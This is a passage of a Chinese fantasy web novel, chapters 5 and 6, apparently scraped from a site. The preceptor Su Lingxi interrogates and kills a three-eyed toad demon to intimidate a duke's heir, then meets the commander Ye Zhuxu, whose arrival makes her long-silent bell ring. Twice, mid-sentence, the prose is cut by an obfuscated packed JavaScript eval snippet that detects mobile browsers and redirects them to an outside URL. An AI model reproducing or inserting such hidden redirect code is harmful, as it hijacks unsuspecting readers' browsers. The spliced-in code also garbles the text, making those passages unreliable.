“好。”苏聆兮转身绕过公案,道:“去进宫回禀陛下。 溪柳应了声是,心中默念:果然,互相告御状的时候又到了。 这种活帝师是懒得自己干的。 她道:“宣国公府无视镇妖司规矩,大敌当前,他放任孙子接触妖物,指使儿子挑拨浮玉与镇妖司关系,其心可诛。大人,这样说可行?” 苏聆兮听过就过,“唔”了声算是应答,问:“今日闹剧的主人公怎样了?” 溪柳:“一切都好,没出意外。” 苏聆兮转身,挑开案面上一个狭长的木盒子,从里面挑出一把雪白晶莹,只有手指长的小骨刀,锋利的刀尖在她手指中轻巧转了圈,掠起令人眼花缭乱的锋芒。 她将刀片敛在指腹,往外面走去:“走吧,去看看他。” == 余临安回北院的路上,手上灵球接连闪烁起来,他点开一看,下一刻眼皮重重一跳,心头蓦的紧了紧。 他抬头算了算时间,抹了把脸。 怎么、 来得好快! 5.第 5 章 镇妖司与刑部、大理寺最大的不同在地牢里。 三道狭长的甬道如树木的三支主干,往底下延伸,连通整个地面,越往里深入,就越能察觉出异样。 ——人在行走时会产生错觉,觉得脚下的路在缓慢蠕动,整片空间仿若庞大的活物,正在进行吞咽。 同样在缓慢变化的是苏聆兮手里的骨刀,手指长的刀身不知不觉变作三寸,贴合大半只手掌,厚度增加,琉璃色的光泽变钝。 苏聆兮到其中一个地牢时,一切都安排好了。 磷火琉璃罩的幽光半亮不亮,将用糯米灰混合朱砂浇筑的拱顶石壁照得阴森渗人,两侧青铜兽首衔环上刻着金刚经中小字经文,旁边陈列各种刑具。 这是单间囚室。 被架在墙上的是宣国公世子陈尚。 见铜门开了又关,他不由得抬起火辣辣的眼皮看过去,见到苏聆兮一愣,而后激动起来:“你、” 昨夜苏聆兮戴了幕篱,他骂时并不气虚,现在在真人面前,说了个你字后,剩下的话只能在喉咙里疯狂翻滚。他毕竟没有父辈的胆,毕竟是在苏聆兮的地盘上。 知道自己出事,祖父断不可能不管,按理说镇妖司不敢将他如何,可他挨了打,受了刑,这也是真的。 从小到大,国公世子何时受过这等罪。 他双目肿胀,咬牙切齿开口:“……手底下的人无用,严刑逼供不成,轮到帝师亲自来了?” 苏聆兮只略略看了他一眼。 跟看死物没什么两样。 陈尚发现了她手中的骨刀,浑身一僵,不敢再出言讽刺,忍着骨头里传来的痛楚道:“查也查了,打也打了,我什么时候能出去?” 话音落下,无人搭理。 没一会,溪柳在苏聆兮身侧耳语:“……剩下的囚房里,只有这间的二十八星宿阵还空着。” 苏聆兮垂了垂眼。 她声音很低,但因为囚房潮湿空闷,小小的声音也会传出回音,有几个字落入了陈尚耳朵里,还没等他想明白是什么意思,就见那女官朝外招手。 不多时,穿着寒甲的守卫便压着一物带了进来。 幽光黯淡,陈尚的眼睛也痛,在这一刻瞳孔却猛的震颤起来。 原来守卫不是普通的守卫,而是诛妖队的队员,身上的甲片是真在发光,压的也不是人,而是一只妖! 绝不会有错,那是一只妖! 陈尚心腔巨震,耳畔嗡鸣,眼底充血,一瞬间脑子里冒出了无数想法。 苏聆兮想干什么?是不是国公府把她惹恼了,或是镇妖司研究出了什么邪门方法要拿他开刀试毒,这妖物是不是能附身。她没法在牢里直接将他处死,但如果身体里盘着一只妖,出去了也活不成。 国公府断然容不下一只怪物,天下百姓也接受不了他活着。 祖父再想替他出头也救不了他。 而苏聆兮无非就是被罚……不,若是妖物上身能给他们带来新发现,功过相抵,误杀一人而已,说不准还会成为功臣。 苏聆兮没什么做不出来的。 陈尚想起了很多在她手上死去的人。 他两臂上汗毛根根倒立,太过恐惧的生理本能让嘴巴里狂冒酸水,冷汗从额头上滴到眼皮上,再流进眼眶里。他说不出话,只能眼睁睁看着诛妖队将妖押进来,押到他身边,越来越近,腥臭粘稠的气息压进鼻腔里。 又错身,与他拉远了距离…… 女官转动墙上的枢纽,幽蓝色的光帘垂落下来,启动的阵法将妖物封锁起来。 直到这时候,队员们才退出来,掐诀松开了妖物身上的绳索。 一直装死低头不动弹的妖物感受到久违的轻松,立马睁开眼睛一跃至半空凶性十足地反扑下来。 直到这时妖物的真容才出现在众人视线里,它身形硕大,相当于两三个壮硕的壮年男子,脚掌光着,有蹼,脚背皮肤溃烂,脓痘连成片。如果说这东西身体还勉强算人,到了头就只剩惊悚了。 巨大的□□脑袋,三颗眼睛在脸上占据了极大的地盘,像三颗亮起的灯笼。 是只三眼蟾。 苏聆兮看了两眼,问诛妖队成员:“会说话了吗?” “刚会。” 她似有若无地点了点头,下一瞬用刀尖拨开流水般荡动的阵法涟漪,走进阵法中。 陈尚死死盯着她的身影,身体里的血液热了又凉,不敢挪动视线。苏聆兮毕竟出身浮玉,听说早些年十分厉害,不厉害,也压不住三大宗,到不了今日。可这几年几乎没人见她出手,有传言称她早不如前了。 三眼蟾眼睛一转,恶意浓稠得要化作涎水,苏聆兮蹬着这东西的膝盖一句话也没有就和妖物交上了手,她动作实在太快,没两个来回,阵中就传出似人非人的惨叫。 骨刀在她手中迅如飓风,利似雷霆,钉上三眼蟾两只脚掌,鲜血如注,分明刀已抽离,可三眼蟾就像被牢牢钉在原地了一样,一时间难以挪动身体。 刀上挂着血和不知名粘液,苏聆兮也不转动它了,站直了对它道:“问你几个问题。” 不知道多久远的从前,妖物第一次被人们发现,偌大的天地包容了凡人,修真者,乃至浮玉,并非不能包容一个新的种族。问题在于,这些东西是由天底下数之不尽的恶意,邪祟之物为本源,野兽之身为躯凝聚而成,因此无法开蒙,没有本性善恶之分,弑杀作乱是天性。 皇宫中最老的一本书籍上写着,那是天地运转下出的纰漏,是消化不了遗留下来的东西。也正因此,在妖物肆虐一段时间后,浮玉出现了那道亘古长存的门,门出现后,当时让所有人焦头烂额的妖物在一夕之间,突然而然的被锁在了妖柜之中,再也没有出来过。 这件事之后,便有传言称,浮玉那道门是天上的一道规则,有无上之力。 它预测万事,守护人间。 它做的决定无人质疑,众生奉若圭臬。 …… 苏聆兮制止自己去想门,这会让她触及脑海中那段空荡荡的回忆,很快就会头疼脑胀。她现在更想知道的是,妖柜一锁这么多年都好好的,究竟发生了什么才出现这么大的变故。 谁插了手。 今年是第十五年。 苏聆兮对这个数字极为敏感,敏感到多年磨砺下什么时候都能保持冷静的神经会下意识绷紧。 三眼蟾三只眼睛一起转了转。妖物天生地长,处理起来之所以那样棘手,叫人闻之色变,是因这样的出生同样给它们带来了不凡的能力。它们往往有狠戾残忍的爪牙和无穷的蛮力,能将人轻易撕碎,有诡谲莫辨的能力,有搬山填海,呼云唤雨之力。 开了智,会说话的妖物还有场域。 场域能将周围数十里,乃至数百里笼罩,圈作它们的领地,在这片区域内,它们是主宰。开场域的时间里,它们的力量,能力都会再拔高一截。 不少诛妖队成员受伤都是在场域里。 想要全须全尾带回来一只妖物并不容易,这几天诛妖队就在干这件事。 一招就败,两招就见血,现在脚都不能动,三眼蟾有点脑子都知道自己打不过,三只眼睛一齐盯着苏聆兮,许久之后终于开口,一开口涎水就包不住往下掉:“你、你不杀我。” “那不行。”苏聆兮道:“进了镇妖司的妖还能活着走出去,我脸往哪搁呢?” “???” 那你还问?? 蠢货才答! 知道它在想什么,苏聆兮信步上前两步,离它更近,一点也不嫌弃冲人的味道和不断下淌的粘液,用冰凉的刀身拍了拍它肿胀泡发的脸,道:“慢点死或是快点死,痛快点还是折磨点,可以由你选。” 三眼蟾大怒,连连咆哮。 “第一个问题。”苏聆兮敛回脸上所有神情,看着它正中间那只眼睛,一字一句问:“妖柜破碎当天,你看到了什么,有谁放你们出来吗?” 三眼蟾绷起肌肉蓄力,三只眼睛各转各的不看她。 苏聆兮也不生气,她甚至很有耐心地用冰冷刺骨的刀身拍上三眼蟾的脸,愣是将它拍到跟前,三只眼睛都看着自己,才稍微松一松力道。 “有?”她观察它脸上细微的抖动。 三眼蟾一只眼睛乱转,一只眼睛不动,一只眼睛看她。 看了会,苏聆兮又问它:“还是没有?” 三眼蟾一个字不吭。它虽然开智不久,才会说话,但脑子还没蠢到给敌人递消息的地步。 苏聆兮看了它很久,正色时目光比刀还要锋利,被她一动不动地盯着时会有喘不过气的感觉,起先三眼蟾还忍着,后面不行,口水哗啦啦流。 须臾,苏聆兮直起身,语气没什么变化,但脸色看上去不太好:“看来是不知道。” 一直往脚下使力,准备开场域时第一时间跳起来咬掉她的脑袋的三眼蟾猛的瞪向她,不知道哪里漏了馅。 “第二个问题。”苏聆兮道:“排名前二十的那些东西,有混进了长安的吗?” 这回三眼蟾一只眼睛都不动了,甚至控制着口水都不流了。 苏聆兮看着这一幕,半晌,笑一下,声调有点冷:“还真进来了。” 三眼蟾一愣,而后暴怒,被脚上两个血洞里拉出的无形丝线扯住。 “好了。最后一个问题。” 苏聆兮将它从头看到尾,视线在它轻轻挪动的脚上一扫而过,仿佛对此毫不知情。这次她微微弯腰,离它更近,呼吸热热的撒在三眼蟾耳边:“你们的妖丹当真能用吗?” 她看到三眼蟾狰狞扭曲,乱抖颤的五官,肉一层叠一层,痘也一层叠一层。 苏聆兮收回刀,点点头:“知道了。” 知道什么了就知道了! 它有说一个字吗!? 也就是那一刻,三眼蟾仰天怒嘶,浑身力量一冲,终于将血洞里的两根东西扯断,同时开了场域。无形的涟漪荡开,跟阵法撕扯,它则扑上来往苏聆兮的头上甩出长长的舌头。 它胸膛起伏:“欺、人太甚。” 苏聆兮唇角略弯,轻巧闪了下,将那根舌头割断:“你哪儿算人呢?” 那就是一瞬间发生的事。苏聆兮迎着三眼蟾一同跃至半空,将骨刀抛至高空,腾出的双手抓住三眼蟾的双肩,身体以一种不可思议的弧度向后翻转,这具柔软的身躯里爆发出难以想象的力量,三眼蟾的大块头几乎是被拧着重重砸到地面上,噼里啪啦的骨头断裂声随后传来。 星宿阵外溪柳见状想到什么,急忙道:“大人,宫中传来消息,让留此妖一命——” 然而迟了。 恰在此时,骨刀坠下,被苏聆兮用脚尖一踢,精准贯穿进三眼蟾的胸膛,从胸中穿过,又从后背贯出,被闪身而至的苏聆兮接回手里。遭此重创,三眼蟾的场域摇摇欲坠,它歇斯底里狂躁舞动起来,下一刻杂草一样的头发被苏聆兮抓起来,骨刀陷入眼眶。 眼睛是场域维持的关键,被毁之后宛若薄薄一层纸,刀身轻而易举将其洞穿,这还不算完,它余力不减,呼啸着撕破场域,又穿过阵法,径直钉向陈尚。 陈尚没法移动,只感觉有什么力道擦过脸颊,扎到身侧木桩上,木屑四溅,末了还摇摇尾巴。 因为速度太快,刀身上的血珠与涎液挂不住,被剜下一层,甩在陈尚的下巴上,又顺着下巴滴进脖子里。 陈尚完全没经历过这种场面,呼吸几乎停住。 苏聆兮从阵法里走出来,先看溪柳,皱了下眉:“才说了什么。” 她道:“里面太吵,没听见。” 谁信! 只是这话没谁敢说,溪柳看看里头气绝而亡的三眼蟾,再看看大人坦然无比的脸,把话都无声地咽了回去。须臾,抬手示意诛妖队过去把臭气熏天的尸身抬出去处理。 苏聆兮扬扬眉,到另一边取刀。 她轻松将骨刀从木桩里抽出来,余光顺势落到惊魂未定的陈尚身上,想了想,像对待三眼蟾一样用刀柄随意抵抵这人的脸,同他说了第一句话:“这才叫严刑逼供,小世子。” 陈尚脸色青一阵白一阵,惧怕多过愤怒。 说罢,苏聆兮迈步离开地牢,溪柳紧随其后。 甬道里,溪柳琢磨了半天,小心道:“大人,您这是要告诉言王……您与陛下之间生出了嫌隙?” “一时漏听了句话,也不至于说这么严重。” 苏聆兮要笑不笑道:“看听到这话的人怎样想了。” 自然不会往好了想。 特意将三眼蟾挪到小世子那间囚房里,又特意让她情急之下喊出那句话,大人怎会做无用之举。陈尚,陈家,宣国公府,那是铁板上钉了钉子的言王党,眼里心里只有那位被迫下位养病的先皇帝,出了镇妖司的门,里面发生过什么,陈尚必定一五一十禀告。 因此,大人是在隔空与言王打擂台。 所有反常之处都是大人想给出去的消息。 她确实已经许久不出手,就算偶尔有,也都是蒙着面纱用符篆解决,平心而论,溪柳真觉得凭陈尚这个人物,真没分量让苏聆兮劳累一趟。因此这次想告诉他的意思是,苏聆兮还没外边传得那么虚。 她还在长安守着,不管是妖还是别的什么,最好都按捺住了别有什么动作。 这是警告。 溪柳屏了下呼吸:“大人是觉得,言王殿下还想着、” 她顿了顿,不知道怎么描述那个词,说篡位吧也不对,说别的就更不对,一时语塞:“还想着跟陛下作对?” 苏聆兮停下脚步,隔了好一会,回: “他最好没。” “再引引,想咬饵的鱼总会上钩的。” 溪柳再一想,恍然大悟。今天这一出,前边半截是警告,后边半截则是引诱。 一个年轻的,坐过皇帝位置的男人,如果真有别的想法,在得知当今皇帝与最大的靠山产生龃龉后,一定会有所动作。 想明白这点,溪柳不由得揉揉鼻尖。 她跟在帝师身边学习两年了,要学的东西还是很多。 出了地牢,日光倾洒,苏聆兮准备回帝师府。 府里清清静静,一众杀手日夜轮班,倒是将宅子守得挺好,她独身一人没什么惦念的,只是出门在外时间久了总想回去逗逗两只傻鸟。 北院的消息也正是在这时候传来的。 内侍守在地牢门口守了半个时辰了,此时一见人,立马上前,一字不落地复述消息:“大人,北院递来口信,说浮玉指挥使会在戌时抵达镇妖司。” 苏聆兮看了看不远处的日晷。现在是酉时三刻,天边隐隐卷起黑边,再过一会,长安城各坊区的灯就该陆续亮起来了。 “谁递的口信?” 内侍又拜:“余公子。” 看来今夜回不了府上了。 苏聆兮脚尖一转,先去了自己的居所。三眼蟾身上的气味不好闻,她什么也没想,先将自己浸进热水中洗漱干净,又另外吩咐内侍打了盆水架在木架上,将骨刀丢了进去。 洗漱出来,换了身干爽的单衣,依习惯将腰牌,悬配,香囊,银色的镂空花球铃铛一一挂回腰间。 因为要与那位姗姗来迟的指挥使碰面,她换了镇妖司的官服。 玄黑夹红的颜色,颜色重而闷,胸前绣着麒麟图样,麒麟爪下抓着北斗七星,对应镇压七魄之说,细节处处凌人。苏聆兮在铜镜中看了看,觉得还好,于是撇开目光,去一边的抽匣里取出香炭与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951821|160687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香炉。 待薄薄的灰盖上香炭,埋进香材,袅袅的香气悄悄透出来,苏聆兮回到窗棂边倚靠着,肩头一耷,浑身放松地眯了眯眼睛。 才开始慢慢地想事情。 浮玉的总指挥使叫叶逐叙,苏聆兮问过。 有意思的是,那支队伍里刺头不少,每次出现都是稀稀拉拉,内部结构出了严重问题,处于一种奇异的,我不管你,你也别管我,我们大家各干各,管好自己就成的状态。 苏聆兮不认为浮玉会让一个整合不了队伍的庸人当指挥使。 那夜小姑娘白绡口口声声的指挥使就证明了这点。 叶逐叙才是那个可以压住所有人,真正能做主的。 苏聆兮对他有点好奇。 毕竟把人一撂撂这么久,自己十几天后迟迟现身,还没人有意见,可以从中窥出他的实力。 必定不弱。 一个优秀强大的公事者,令人心安。 至少镇妖司这边,日后可以让人少操份心。 眼看着时间差不多,苏聆兮束冠,上妆,临了又把泡着的骨刀捞出来擦干,归入刀鞘中,带着溪柳与一支捉妖队去了北院。 到的时候,叶逐叙还没到。 但北院的人前所未有的整齐,除了真有事的,人几乎到齐了,一眼看过去,还有打着哈欠坐在树上打盹的。镇妖司不让种树,树也不知哪来的,一夜之间长得还很高大。 是。 这些人等人不在正厅桌案小几上,而在空荡荡的外间。 余临安正在用食指按压太阳穴,时不时抽一下气,见到她朝她招手。苏聆兮走过去,走动时隐晦地察觉到十几道视线跟着她转动,一大半的人因为某种原因都在看她。 她被人注视习惯了,不觉得什么,大方站过去,问:“不是说戌时?” “出了点小情况。”余临安道:“但应该拖不了一会,马上到。” 苏聆兮察觉到他用了很微妙的“拖”字。 另一边,桑褚朝苏聆兮友好地颔首,白绡坐在一边,她的眼神也落在苏聆兮身上,眼神是介于小孩与成年人之间一种别样的复杂。 别人就算了,白绡十二岁,苏聆兮到人间已经十四年,他们不可能见过,对着她复杂什么。 桑褚照顾年轻人,弯腰对白绡说:“困了就回去睡觉,你正长身体的时候。” 白绡摇头:“我不困。” 桑褚又从果篮里挑了个橘子,道:“绡绡,吃橘子。” 白绡眼珠子动了动,她早慧,事情办得越来越有模有样,但仍免不了被比自己高一截的少年们当小孩哄。 动了动唇,她接过橘子,道:“谢桑褚哥。” 见到这一幕,苏聆兮笑了下,视线转到余临安身上,道:“你们这位指挥使,排场够大。” 可不是。 “没办法。”余临安深深看着她,半晌道:“名气大嘛。” 其实从前的苏聆兮名气也大,出场亦是万众瞩目。 提起点香术没有不知道她的。 学点香术的后辈都是听着这位几乎不可能超越的前辈的各种故事成长起来的。 余临安又摁了下眉。 在知会苏聆兮这件事上,队伍里有很多不同的声音,最后还是桑褚一锤定音。 毕竟不是苏聆兮与叶逐叙的私事,两人现在分别代表了朝廷与浮玉,诛妖是大事,找十二巫更是。苏聆兮现在什么都不记得了,连叶逐叙是谁都不知道,两人这次不见,总有私下见面的时候,到时候突然打一架,打得你死我活,岂不难以收场。 他们在,至少还能拦一拦。 ……不知道能不能拦得住。 就在这时,天空中突然传来动静。 苏聆兮顺着方向抬头看,耳边是余临安的声音:“到了。” 苏聆兮以为这位指挥使怎么也是走门进来,没想到竟是从天上。半空中出现一道流着黑火的门,火烧得汹汹,倒映在人的瞳孔里,空气扭曲,热浪焚天,门边已经承受不住恐怖的温度而融化成水。 像一座炼狱横空而至。 或许从前苏聆兮见过这样的手笔,可这十四年里闻所未闻。 有人从门里踏出来。 脚步声传出,极轻,慢而危险,随后被更多动静覆盖,变得杂乱。 黑火流淌,淌下半空,流动着铸成一道古殿长阶,数十个秘侍自两侧拱卫,寒甲森森,眼中流动的是黑红岩浆。 有人从阶上走下来,一直走到地面。 苏聆兮一直在观察他,起初觉得如此阵仗是此人作风高调,很快发现不是。 在他步下长阶时,空中门户未散,里面激烈的战斗迹象随着黑焰涌动而逐渐平息,突然一只巨大虎爪从门户中探出来,迅猛向天空抓挠一下,像用力攒住什么,随后是羚羊的犄角,某种雀类的尾巴。 每当这时,守卫在两边的秘侍便手执岩浆凝成的刀剑锁链,将它们敲竹竿似的敲回去。 动静很快小了。 苏聆兮眼光不差,很快辨别出来,至少三只妖物开了场域在殊死凶斗,而这位指挥使正在专心致志下阶梯,轻松,专注,目空一切……压迫感很强。 直到叶逐叙走下来,抬眼看过来,苏聆兮才看清他的脸。 不知为什么,看清的那一刻她心中莫名跳了下。 其实并不是高调讲究的扮相。 这位指挥使相貌极好,骨相优越,随意散着长发,未戴冠,未插簪,连跟余临安头上一样的红绸带都不见一根,鸦发安静垂下,垂到腰腹。 衣裳也简单,就是浮玉人穿得最多的丝缎长氅,看上去沁凉,柔软,走动时像流动的水与风。 皮肤白,唇有点红,是一点明艳的薄红。 长相和想象中不一样。 年龄也不一样。 知道这支队伍的年龄都不大,但苏聆兮原本觉得指挥使会稍微年长些,这才能压住这些人,现在看,感觉比桑褚要小。 他一路往这边过来,沿途一些少年摸摸鼻子,规规矩矩叫人。跟彼此间连名带姓的称呼不一样,他们唤他指挥使,亲与疏,尊与卑,霎时泾渭分明。 叶逐叙停在距离余临安等人二十步开外的地方。 看苏聆兮。 他认认真真,看了她好一会。 这时,天空中门里的动静彻底归于虚无。密侍们纷纷消失,只留一个跃步跳下,匍匐在叶逐叙跟前,手中牵着三根线,线后是捆得严严实实,凶相毕露的三只妖物。 密侍浑身带火,落在黑透的外院里,就像巨大的火盆,一切蒙在人眼睛上的黑暗都被驱散。 苏聆兮能看得更仔细。 而后发现了更多细节。 她喜用细节揣摩人的性情内里,于是也更擅捕捉,就像此时,她发现叶逐叙有双深邃的眼睛,瞳仁黑漆漆深不见底,外在柔软殊艳,强大的攻击性和戾气却都藏在这里,凝得深重,压抑,可怖,眉眼一动,是无边的乖张阴翳。 一个极其危险的人。 且身上没有锁链。 没有能锁住他的东西。 “让让。”叶逐叙终于侧了侧脸,看向跪伏的密侍,手指垂下,慢声吐字:“你挡着我了。” 密侍于是生生融化,化成一柄节节迸现的剑。剑身抽出时,空中铺开万千道刺目剑光,最后归于一道,自动归鞘,落于叶逐叙掌中。 竟是一把剑? 余临安顶着压力上前,也喊了一声:“指挥使。” 叶逐叙看也不看他。 苏聆兮皱了下眉,她上前几步,对此人颔首:“镇妖司,苏聆兮。” “幸会。” 闻言,余临安不忍卒看地闭了下眼。 6.第 6 章 月光化作霜状的薄鳞,一片片紧贴在石子路上。 四周阒静。 苏聆兮没有等到叶逐叙的回敬。 只看到在她那句“幸会”后,那人毫无动静,良久,他方侧首,朝她弯了弯眼。 眉弓柔和,眼尾线条像拉出了小小的钩子。 苏聆兮觉得怪异,说不出的怪异。 有时候笑容并不代表友好。 她深谙这点,竖起了警惕。 余临安如临大敌。 浮玉是个好地方,人与人相处并不复杂,前一刻在水镜里杀得红眼的同龄人,出了那破地,不管修为高低,天赋出众或平庸,都是往云里一坐,一倒,一边哀嚎今天大掌教又不做人,一边可劲附和。 叶逐叙是个怪胎。 他从不往人群里扎堆,不跟人说话,更别提有好脸了,名气大是因为实力恐怖。这些年,他出现在所有危险致命的所谓“证道地”——出来了就是证道地,出不来就成埋骨冢。 他打破了许多记录。 现在这把剑叫“惊灭”,浮玉从小孩到老人,没有谁是不知道它的。 它沉寂在岩浆海里已经许多年了,每过一些年,就有惊才绝艳之辈去挑战一次,无不失望而归。但因为都失败,也就没什么。 叶逐叙去取剑那天,余临安恰好在他那。 那会余临安已经不常去那了,毕竟他脸皮也不是真的很厚,闭门羹吃多了还几次被扑面的杀意威胁,慢慢的也会歇了这份心思。只是一年中极偶尔的几日,逢年过节吧,在自家满屋热闹散去后会想起苏聆兮,纯是看在苏聆兮的面子上去看这位煞神。 余临安记得很清楚,那天是“屡日”,在浮玉,是少男少女定情的节日,也有许多夫妻会甜蜜地庆祝这天。 花灯往天上飘,数不尽的灯船往海里流,睡着的大鱼被吵醒,往海面喷出一道道的水柱,或羞怯或大胆的絮语声中时不时掺进远处悠长的鲸鸣。 这等安然温馨的时刻,叶逐叙收拾东西,在余临安的追问下丢下句自己要去岩浆海,让他赶紧回。 赶紧回说得跟赶紧滚也没差别。 余临安一时都没反应过来。 “你要去取惊灭?”他难以置信,问:“今天?” 叶逐叙锁了门往外走。 余临安只得跟上去,苦口婆心道:“别啊,那地方多邪门,谁去都要脱层皮,静尹讲师半个月前去的,现在都还没回书院,课都是找他弟弟代的。” 别自讨苦吃。 叶逐叙问他:“说完了?” 余临安噎了下,想着大概是劝不住了,那就提前打个预警吧:“去就去吧,取不出的话赶紧出来,没什么丢人的,我带着药在外面等你。” 夜色惶惶,叶逐叙抬头看了看天色,平静道:“取不出,就永远留在里面。” 余临安以为自己听错了。 但没有,他真这样做的。 那一次岩浆海沸腾了三天,从没有人在里面待过三天,那三天周围刮邪风,下怪雨,方圆百里鬼哭狼嚎。很多人都去围观,他们说什么余临安都心不在焉,因为动静太大,到后面连严厉得要命的大掌教与只睡觉不管事的三掌教都来了。 叶逐叙是三掌教的徒弟,有他的命牌。这次突然来也是睡着睡着命牌突然黯得不成样子。 大掌教皱眉,对三掌教道:“你的徒弟,你不管?” 三掌教挠挠头,画了个阵要把人捞出来,半晌诶了声,彻底醒了:“他不肯出来。” 完了。 余临安心里凉了一截,甚至觉出空洞洞的茫然,好像跟苏聆兮有关的唯一一个人也没守住,日后见到苏聆兮,他要怎么说。 他开始后悔,自己忘记一个人的速度好像太快了。 不知不觉,再难忘的都慢慢过去了。 叶逐叙是在第六日出来的,出来时,可怕的温度将一切都烧成灰烬,整座海的岩浆聚于一处,凝作一把剑,煞气将天都撕破一个口子。 大名鼎鼎的惊灭第一次出现在众人眼中。 叶逐叙受伤极重,这是他强取惊灭的代价。 从干了的海里一步一步走出来的时候,长长一道血痕跟着往后流,而掀起滔天大浪的人依旧垂着脸,看不出起伏,也看不出丁点喜悦,只是沉默朝前走。 没有人知道他要去哪里。 余临安立马上前去扶他,总共就一张嘴,先夸他厉害,又说他冲动,第三句让他以后悠着点别不把自己的命当命,同时往身上掏药,掏着掏着说了第四句,挤眉弄眼,声音很低:“你要是出什么事,我怎么跟苏聆兮——” 听到这个名字的时候,叶逐叙终于抬头,他浑身都是血色,整个人像被利器切割过,现在一掀眼,眼里也是血,但他喉结一动,扯着嘴角压出一线笑来。 他就这样笑着用惊灭拨开余临安,声音轻得让人发怵:“滚。” 余临安这回真愣住了。 在这之前,他在心里想过很多次,苏聆兮喜欢的怎么会是叶逐叙呢。 八竿子都打不到一起去的两个人。 每次得出来的总结是:色欲熏心的同时,被这人当时装出来的斯文正常蒙骗了。 …… 自那之后,就不能提苏聆兮了。 余临安统共就看这疯子笑过几次,每一次都没好事,这次和那回简直有异曲同工之妙,让人一下就绷紧了全身神经。 而这时候,更要命的也来了。 因为白天下过雨,今夜风比往常大些,加上不知何时多了棵树,于是风声在树枝的颤动里明显起来,北院檐角上悬着的铃发出好听的响声,越来越清晰,越来越逼近,近到好像就在耳畔。 ……离得较近的桑褚几人最先发现不对,看向苏聆兮,准确的说,是看苏聆兮的腰上。 另外有部分人循着声音暗暗看向叶逐叙。 苏聆兮自己也没反应过来,她甚至听的不是声音,而是切实感觉到了铃铛的震颤。 她难得怔住,而后垂着眼往下看,原本隐蔽藏在腰牌与衣物下的银色铃铛因为滚动而露出半个圆滚滚的身体,里面有芯子在跳动,于是发出脆响。 这个铃铛跟了她许多年,日日都戴着,就算后面不记得它的来历了也没摘下来,已经成了一种习惯。 有人问过她铃铛怎么不响,她自己看过,也请匠人看过,铃铛并没有损坏,只是一直不响。 无论如何,苏聆兮没想到它会响,在这个时候响起来。 她不由得抬眼,去看不远处的叶逐叙,这次眉眼间有了细微的变化。 余临安脑袋空白了一瞬,完全没想到……没想到苏聆兮失去记忆了还带着这东西,没想到十四年过去,连苏聆兮的名字成了逆鳞提都不能提的叶逐叙也还留着。 最不可能发生的情况,偏偏发生了。 他脑海里唯有四个字:火上浇油。 就在大家都有点不知道该怎么办的时候,叶逐叙突然动了。 他继续朝这边走过来,眼里笑意不减,甚至渐渐晕深,像染开在水中的墨汁。 他逼得越近,铃声越响,最后盖过了呼吸声,风声,一时间所有人耳朵里都只能听见这道清音。 苏聆兮皱起眉,她手里抓着骨刀,因为泡的时间不够久,总觉得还有股□□味,来这里等的时间里,拿着绢布擦了几回。现在抬起手,用它压住那颗滚动着表示欢悦的铃铛。 与此同时,她猛的偏头看周围人的表情。 到这时候,她知道自己与这位指挥使绝非第一次见面,他们一定有极深的牵绊纠葛。 她的铃铛只为这一个人响过。 可就算是这样,她仍是什么都不记得。 她对叶逐叙这个名字都没有任何熟悉的感觉。 浮玉的天骄课业不少,学得杂而多,不管是巫族还是灵族,都逃不过大掌教的摧残,可唯独没有学过如何遮掩自己的表情。既比不过苏聆兮,也比不过朝堂上那些攀咬的老东西,真要看,满是破绽。 有几人躲闪她的注视,迎上她的视线就跟被火烧了似的,不自在地扭头,又看天,又看地,要不就看树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955420|160687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些人倒是不躲闪,眼中盛着好奇和探究。 苏聆兮知道出了自己完全没想到的状况。 十几步路,叶逐叙离得越来越近,近到苏聆兮一抬眼,就能见到他眼瞳里薄薄一层笑意,以及这笑意之后,山呼海啸般的嘲弄与恶意。 最让人侧目的是越来越盛的剑意,凝聚到一定程度,它们在天空上压出了阴云,遮盖了弯月,甚至由此诞生了若有似无的杀意,隔空锁定了这片空间。 苏聆兮抿着唇将刀片压在了手腕内侧,跟她来的一支诛妖队收到指令四散开,个个严阵以待,以防来人突然发难。 她大概明白。 自己和这位一出场就镇得全场鸦雀无声的指挥使或许有过什么什么不一样,但最终没什么好下场的关系。 非常、非常糟糕的情况。 就在最后几步时,余临安抹了把脸,站出去打哈哈:“指挥使,你……冷静点。”最后三个字,他是含糊着哼着说的。 桑褚也站了出来,遮住叶逐叙小半视线,意有所指道:“指挥使,这是镇妖司,离皇宫不远。” 叶逐叙仍在看苏聆兮,好一会儿后,才悠悠转向他们。 桑褚见他仍然毫不收敛,皱着眉又道:“浮玉急信,刚传到,有要事需要指挥使立即裁定。” “好啊。” 叶逐叙居然答应了,他应得干脆,让站出来的两人都意外,紧接着用剑尖指指桑褚:“都拦我做什么。” 当然是怕你发疯伤人。 鬼知道镇妖司有没有大招,人皇的镇国大印有没有在这里下过印。 谁想跪着去向人皇磕头赔罪。 叶逐叙也没想得到他们的回答,他的目光落在苏聆兮右手上,她的手里压着锋利的刀身。 那是毫不留情的攻击姿态。 他略倾身,稍稍弯腰,绸缎像柔软的海草搭在地面上,男人身上仍有烈火的气息,他回苏聆兮:“幸会。” “初次见面。”叶逐叙顿了下。 而后直起身,又笑:“为帝师大人准备了些礼物。” 苏聆兮心中升起突兀而不好的预感。 